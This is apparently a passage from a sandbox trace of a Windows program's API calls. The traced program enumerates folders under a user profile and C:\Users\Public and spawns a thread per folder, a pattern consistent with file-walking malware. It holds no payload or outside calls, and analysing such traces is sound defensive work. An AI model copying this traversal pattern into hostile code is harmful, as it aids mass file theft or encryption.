	[0074.437] FindNextFileW (in: hFindFile=0x2d70640, lpFindFileData=0x2d88820 | out: lpFindFileData=0x2d88820*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3f0f0bc5, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd4516574, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94022772, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OneDrive", cAlternateFileName="")) returned 1
	[0074.437] wcscmp (_String1="OneDrive", _String2=".") returned 1
	[0074.437] wcscmp (_String1="OneDrive", _String2="..") returned 1
	[0074.437] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x32) returned 0x2d70b40
	[0074.438] wcscpy (in: _Dest=0x2d70b40, _Source="C:\\Users\\FD1HVy" | out: _Dest="C:\\Users\\FD1HVy") returned="C:\\Users\\FD1HVy"
	[0074.438] wcscat (in: _Dest=0x2d70b40, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\") returned="C:\\Users\\FD1HVy\\"
	[0074.438] wcscat (in: _Dest=0x2d70b40, _Source="OneDrive" | out: _Dest="C:\\Users\\FD1HVy\\OneDrive") returned="C:\\Users\\FD1HVy\\OneDrive"
	[0074.438] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d70b40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x88c
	[0074.439] FindNextFileW (in: hFindFile=0x2d70640, lpFindFileData=0x2d88820 | out: lpFindFileData=0x2d88820*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x39e940c7, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x39e940c7, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1
	[0074.439] wcscmp (_String1="Pictures", _String2=".") returned 1
	[0074.439] wcscmp (_String1="Pictures", _String2="..") returned 1
	[0074.439] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x32) returned 0x2d70680
	[0074.439] wcscpy (in: _Dest=0x2d70680, _Source="C:\\Users\\FD1HVy" | out: _Dest="C:\\Users\\FD1HVy") returned="C:\\Users\\FD1HVy"
	[0074.439] wcscat (in: _Dest=0x2d70680, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\") returned="C:\\Users\\FD1HVy\\"
	[0074.439] wcscat (in: _Dest=0x2d70680, _Source="Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures"
	[0074.439] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d70680, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x890
	[0074.440] FindNextFileW (in: hFindFile=0x2d70640, lpFindFileData=0x2d88820 | out: lpFindFileData=0x2d88820*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrintHood", cAlternateFileName="PRINTH~1")) returned 1
	[0074.440] wcscmp (_String1="PrintHood", _String2=".") returned 1
	[0074.440] wcscmp (_String1="PrintHood", _String2="..") returned 1
	[0074.440] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x34) returned 0x2d70780
	[0074.440] wcscpy (in: _Dest=0x2d70780, _Source="C:\\Users\\FD1HVy" | out: _Dest="C:\\Users\\FD1HVy") returned="C:\\Users\\FD1HVy"
	[0074.440] wcscat (in: _Dest=0x2d70780, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\") returned="C:\\Users\\FD1HVy\\"
	[0074.440] wcscat (in: _Dest=0x2d70780, _Source="PrintHood" | out: _Dest="C:\\Users\\FD1HVy\\PrintHood") returned="C:\\Users\\FD1HVy\\PrintHood"
	[0074.440] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d70780, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x894
	[0074.440] FindNextFileW (in: hFindFile=0x2d70640, lpFindFileData=0x2d88820 | out: lpFindFileData=0x2d88820*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1
	[0074.441] wcscmp (_String1="Recent", _String2=".") returned 1
	[0074.441] wcscmp (_String1="Recent", _String2="..") returned 1
	[0074.441] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2e) returned 0x2e3a2a0
	[0074.441] wcscpy (in: _Dest=0x2e3a2a0, _Source="C:\\Users\\FD1HVy" | out: _Dest="C:\\Users\\FD1HVy") returned="C:\\Users\\FD1HVy"
	[0074.441] wcscat (in: _Dest=0x2e3a2a0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\") returned="C:\\Users\\FD1HVy\\"
	[0074.441] wcscat (in: _Dest=0x2e3a2a0, _Source="Recent" | out: _Dest="C:\\Users\\FD1HVy\\Recent") returned="C:\\Users\\FD1HVy\\Recent"
	[0074.441] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2e3a2a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x898
	[0074.441] FindNextFileW (in: hFindFile=0x2d70640, lpFindFileData=0x2d88820 | out: lpFindFileData=0x2d88820*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd45b644a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce4e13d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Saved Games", cAlternateFileName="SAVEDG~1")) returned 1
	[0074.441] wcscmp (_String1="Saved Games", _String2=".") returned 1
	[0074.441] wcscmp (_String1="Saved Games", _String2="..") returned 1
	[0074.441] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x38) returned 0x2d70cc0
	[0074.441] wcscpy (in: _Dest=0x2d70cc0, _Source="C:\\Users\\FD1HVy" | out: _Dest="C:\\Users\\FD1HVy") returned="C:\\Users\\FD1HVy"
	[0074.442] wcscat (in: _Dest=0x2d70cc0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\") returned="C:\\Users\\FD1HVy\\"
	[0074.442] wcscat (in: _Dest=0x2d70cc0, _Source="Saved Games" | out: _Dest="C:\\Users\\FD1HVy\\Saved Games") returned="C:\\Users\\FD1HVy\\Saved Games"
	[0074.442] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d70cc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x89c
	[0074.442] FindNextFileW (in: hFindFile=0x2d70640, lpFindFileData=0x2d88820 | out: lpFindFileData=0x2d88820*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x44137e3b, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd462426d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce389e99, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Searches", cAlternateFileName="")) returned 1
	[0074.442] wcscmp (_String1="Searches", _String2=".") returned 1
	[0074.442] wcscmp (_String1="Searches", _String2="..") returned 1
	[0074.442] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x32) returned 0x2d70c00
	[0074.442] wcscpy (in: _Dest=0x2d70c00, _Source="C:\\Users\\FD1HVy" | out: _Dest="C:\\Users\\FD1HVy") returned="C:\\Users\\FD1HVy"
	[0074.442] wcscat (in: _Dest=0x2d70c00, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\") returned="C:\\Users\\FD1HVy\\"
	[0074.442] wcscat (in: _Dest=0x2d70c00, _Source="Searches" | out: _Dest="C:\\Users\\FD1HVy\\Searches") returned="C:\\Users\\FD1HVy\\Searches"
	[0074.443] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d70c00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8a0
	[0074.443] FindNextFileW (in: hFindFile=0x2d70640, lpFindFileData=0x2d88820 | out: lpFindFileData=0x2d88820*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1
	[0074.443] wcscmp (_String1="SendTo", _String2=".") returned 1
	[0074.443] wcscmp (_String1="SendTo", _String2="..") returned 1
	[0074.443] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2e) returned 0x2e3a0e0
	[0074.443] wcscpy (in: _Dest=0x2e3a0e0, _Source="C:\\Users\\FD1HVy" | out: _Dest="C:\\Users\\FD1HVy") returned="C:\\Users\\FD1HVy"
	[0074.443] wcscat (in: _Dest=0x2e3a0e0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\") returned="C:\\Users\\FD1HVy\\"
	[0074.443] wcscat (in: _Dest=0x2e3a0e0, _Source="SendTo" | out: _Dest="C:\\Users\\FD1HVy\\SendTo") returned="C:\\Users\\FD1HVy\\SendTo"
	[0074.443] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2e3a0e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8a4
	[0074.444] FindNextFileW (in: hFindFile=0x2d70640, lpFindFileData=0x2d88820 | out: lpFindFileData=0x2d88820*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1
	[0074.444] wcscmp (_String1="Start Menu", _String2=".") returned 1
	[0074.444] wcscmp (_String1="Start Menu", _String2="..") returned 1
	[0074.444] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x36) returned 0x2d70bc0
	[0074.444] wcscpy (in: _Dest=0x2d70bc0, _Source="C:\\Users\\FD1HVy" | out: _Dest="C:\\Users\\FD1HVy") returned="C:\\Users\\FD1HVy"
	[0074.444] wcscat (in: _Dest=0x2d70bc0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\") returned="C:\\Users\\FD1HVy\\"
	[0074.444] wcscat (in: _Dest=0x2d70bc0, _Source="Start Menu" | out: _Dest="C:\\Users\\FD1HVy\\Start Menu") returned="C:\\Users\\FD1HVy\\Start Menu"
	[0074.444] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d70bc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8bc
	[0075.020] FindNextFileW (in: hFindFile=0x2d70640, lpFindFileData=0x2d88820 | out: lpFindFileData=0x2d88820*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1
	[0075.020] wcscmp (_String1="Templates", _String2=".") returned 1
	[0075.020] wcscmp (_String1="Templates", _String2="..") returned 1
	[0075.022] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x34) returned 0x2d70dc0
	[0075.022] wcscpy (in: _Dest=0x2d70dc0, _Source="C:\\Users\\FD1HVy" | out: _Dest="C:\\Users\\FD1HVy") returned="C:\\Users\\FD1HVy"
	[0075.022] wcscat (in: _Dest=0x2d70dc0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\") returned="C:\\Users\\FD1HVy\\"
	[0075.022] wcscat (in: _Dest=0x2d70dc0, _Source="Templates" | out: _Dest="C:\\Users\\FD1HVy\\Templates") returned="C:\\Users\\FD1HVy\\Templates"
	[0077.317] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d70dc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8b8
	[0077.318] FindNextFileW (in: hFindFile=0x2d70640, lpFindFileData=0x2d88820 | out: lpFindFileData=0x2d88820*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x39e217ab, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x39e217ab, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1
	[0077.318] wcscmp (_String1="Videos", _String2=".") returned 1
	[0077.318] wcscmp (_String1="Videos", _String2="..") returned 1
	[0077.318] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2e) returned 0x47bb078
	[0077.318] wcscpy (in: _Dest=0x47bb078, _Source="C:\\Users\\FD1HVy" | out: _Dest="C:\\Users\\FD1HVy") returned="C:\\Users\\FD1HVy"
	[0077.318] wcscat (in: _Dest=0x47bb078, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\") returned="C:\\Users\\FD1HVy\\"
	[0077.318] wcscat (in: _Dest=0x47bb078, _Source="Videos" | out: _Dest="C:\\Users\\FD1HVy\\Videos") returned="C:\\Users\\FD1HVy\\Videos"
	[0077.318] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47bb078, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x548
	[0077.319] FindNextFileW (in: hFindFile=0x2d70640, lpFindFileData=0x2d88820 | out: lpFindFileData=0x2d88820*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x39e217ab, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x39e217ab, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 0
	[0077.319] FindClose (in: hFindFile=0x2d70640 | out: hFindFile=0x2d70640) returned 1
	[0084.350] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d88820) returned 1
	[0084.350] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77f00) returned 1
	[0084.350] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76f70) returned 1

Thread:
	id = 158
	os_tid = 0x9b4

	[0075.023] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x24) returned 0x2d77f30
	[0075.023] wcscpy (in: _Dest=0x2d77f30, _Source="C:\\Users\\Public" | out: _Dest="C:\\Users\\Public") returned="C:\\Users\\Public"
	[0075.023] wcscat (in: _Dest=0x2d77f30, _Source="\\" | out: _Dest="C:\\Users\\Public\\") returned="C:\\Users\\Public\\"
	[0075.023] wcscat (in: _Dest=0x2d77f30, _Source="*" | out: _Dest="C:\\Users\\Public\\*") returned="C:\\Users\\Public\\*"
	[0075.023] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d86398
	[0075.023] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\*", lpFindFileData=0x2d86398 | out: lpFindFileData=0x2d86398*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17d53e9c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x475e19ed, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475e19ed, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d706c0
	[0075.023] wcscmp (_String1=".", _String2=".") returned 0
	[0075.023] FindNextFileW (in: hFindFile=0x2d706c0, lpFindFileData=0x2d86398 | out: lpFindFileData=0x2d86398*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17d53e9c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x475e19ed, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475e19ed, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0075.023] wcscmp (_String1="..", _String2=".") returned 1
	[0075.023] wcscmp (_String1="..", _String2="..") returned 0
	[0075.023] FindNextFileW (in: hFindFile=0x2d706c0, lpFindFileData=0x2d86398 | out: lpFindFileData=0x2d86398*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x3079b77, ftCreationTime.dwHighDateTime=0x1d1a050, ftLastAccessTime.dwLowDateTime=0xce317778, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xce317778, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccountPictures", cAlternateFileName="ACCOUN~1")) returned 1
	[0075.023] wcscmp (_String1="AccountPictures", _String2=".") returned 1
	[0075.023] wcscmp (_String1="AccountPictures", _String2="..") returned 1
	[0075.023] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d73e40
	[0075.023] wcscpy (in: _Dest=0x2d73e40, _Source="C:\\Users\\Public" | out: _Dest="C:\\Users\\Public") returned="C:\\Users\\Public"
	[0075.023] wcscat (in: _Dest=0x2d73e40, _Source="\\" | out: _Dest="C:\\Users\\Public\\") returned="C:\\Users\\Public\\"
	[0075.023] wcscat (in: _Dest=0x2d73e40, _Source="AccountPictures" | out: _Dest="C:\\Users\\Public\\AccountPictures") returned="C:\\Users\\Public\\AccountPictures"
	[0077.309] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d73e40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x964
	[0077.310] FindNextFileW (in: hFindFile=0x2d706c0, lpFindFileData=0x2d86398 | out: lpFindFileData=0x2d86398*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xe4c3ce2c, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4c3ce2c, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1
	[0077.310] wcscmp (_String1="Desktop", _String2=".") returned 1
	[0077.310] wcscmp (_String1="Desktop", _String2="..") returned 1
	[0077.310] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x30) returned 0x47bb4d8
	[0077.310] wcscpy (in: _Dest=0x47bb4d8, _Source="C:\\Users\\Public" | out: _Dest="C:\\Users\\Public") returned="C:\\Users\\Public"
	[0077.310] wcscat (in: _Dest=0x47bb4d8, _Source="\\" | out: _Dest="C:\\Users\\Public\\") returned="C:\\Users\\Public\\"
	[0077.310] wcscat (in: _Dest=0x47bb4d8, _Source="Desktop" | out: _Dest="C:\\Users\\Public\\Desktop") returned="C:\\Users\\Public\\Desktop"
	[0077.310] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47bb4d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x574
	[0077.311] FindNextFileW (in: hFindFile=0x2d706c0, lpFindFileData=0x2d86398 | out: lpFindFileData=0x2d86398*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa08e58, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fb62ca, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fb62ca, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0077.311] wcscmp (_String1="desktop.ini", _String2=".") returned 1
	[0077.311] wcscmp (_String1="desktop.ini", _String2="..") returned 1
	[0077.311] FindNextFileW (in: hFindFile=0x2d706c0, lpFindFileData=0x2d86398 | out: lpFindFileData=0x2d86398*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb1fb672c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb1fb672c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1
	[0077.311] wcscmp (_String1="Documents", _String2=".") returned 1
	[0077.311] wcscmp (_String1="Documents", _String2="..") returned 1
	[0077.311] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x34) returned 0x2dac8b8
	[0077.311] wcscpy (in: _Dest=0x2dac8b8, _Source="C:\\Users\\Public" | out: _Dest="C:\\Users\\Public") returned="C:\\Users\\Public"
	[0077.311] wcscat (in: _Dest=0x2dac8b8, _Source="\\" | out: _Dest="C:\\Users\\Public\\") returned="C:\\Users\\Public\\"
	[0077.311] wcscat (in: _Dest=0x2dac8b8, _Source="Documents" | out: _Dest="C:\\Users\\Public\\Documents") returned="C:\\Users\\Public\\Documents"
	[0077.311] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2dac8b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x568
	[0077.311] FindNextFileW (in: hFindFile=0x2d706c0, lpFindFileData=0x2d86398 | out: lpFindFileData=0x2d86398*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466cad2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1
	[0077.311] wcscmp (_String1="Downloads", _String2=".") returned 1
	[0077.312] wcscmp (_String1="Downloads", _String2="..") returned 1
	[0077.312] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x34) returned 0x2dac8f8
	[0077.312] wcscpy (in: _Dest=0x2dac8f8, _Source="C:\\Users\\Public" | out: _Dest="C:\\Users\\Public") returned="C:\\Users\\Public"
	[0077.312] wcscat (in: _Dest=0x2dac8f8, _Source="\\" | out: _Dest="C:\\Users\\Public\\") returned="C:\\Users\\Public\\"
	[0077.312] wcscat (in: _Dest=0x2dac8f8, _Source="Downloads" | out: _Dest="C:\\Users\\Public\\Downloads") returned="C:\\Users\\Public\\Downloads"
	[0077.312] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2dac8f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x564
	[0077.312] FindNextFileW (in: hFindFile=0x2d706c0, lpFindFileData=0x2d86398 | out: lpFindFileData=0x2d86398*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x17d53e9c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb207547d, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb207547d, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Libraries", cAlternateFileName="LIBRAR~1")) returned 1
	[0077.312] wcscmp (_String1="Libraries", _String2=".") returned 1
	[0077.312] wcscmp (_String1="Libraries", _String2="..") returned 1
	[0077.312] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x34) returned 0x2daccb8
	[0077.312] wcscpy (in: _Dest=0x2daccb8, _Source="C:\\Users\\Public" | out: _Dest="C:\\Users\\Public") returned="C:\\Users\\Public"
	[0077.313] wcscat (in: _Dest=0x2daccb8, _Source="\\" | out: _Dest="C:\\Users\\Public\\") returned="C:\\Users\\Public\\"
	[0077.313] wcscat (in: _Dest=0x2daccb8, _Source="Libraries" | out: _Dest="C:\\Users\\Public\\Libraries") returned="C:\\Users\\Public\\Libraries"
	[0077.313] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2daccb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x560
	[0077.313] FindNextFileW (in: hFindFile=0x2d706c0, lpFindFileData=0x2d86398 | out: lpFindFileData=0x2d86398*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466d9b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1
	[0077.313] wcscmp (_String1="Music", _String2=".") returned 1
	[0077.313] wcscmp (_String1="Music", _String2="..") returned 1
	[0077.313] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2c) returned 0x47bb510
	[0077.313] wcscpy (in: _Dest=0x47bb510, _Source="C:\\Users\\Public" | out: _Dest="C:\\Users\\Public") returned="C:\\Users\\Public"
	[0077.313] wcscat (in: _Dest=0x47bb510, _Source="\\" | out: _Dest="C:\\Users\\Public\\") returned="C:\\Users\\Public\\"
	[0077.313] wcscat (in: _Dest=0x47bb510, _Source="Music" | out: _Dest="C:\\Users\\Public\\Music") returned="C:\\Users\\Public\\Music"
	[0077.313] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47bb510, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x55c
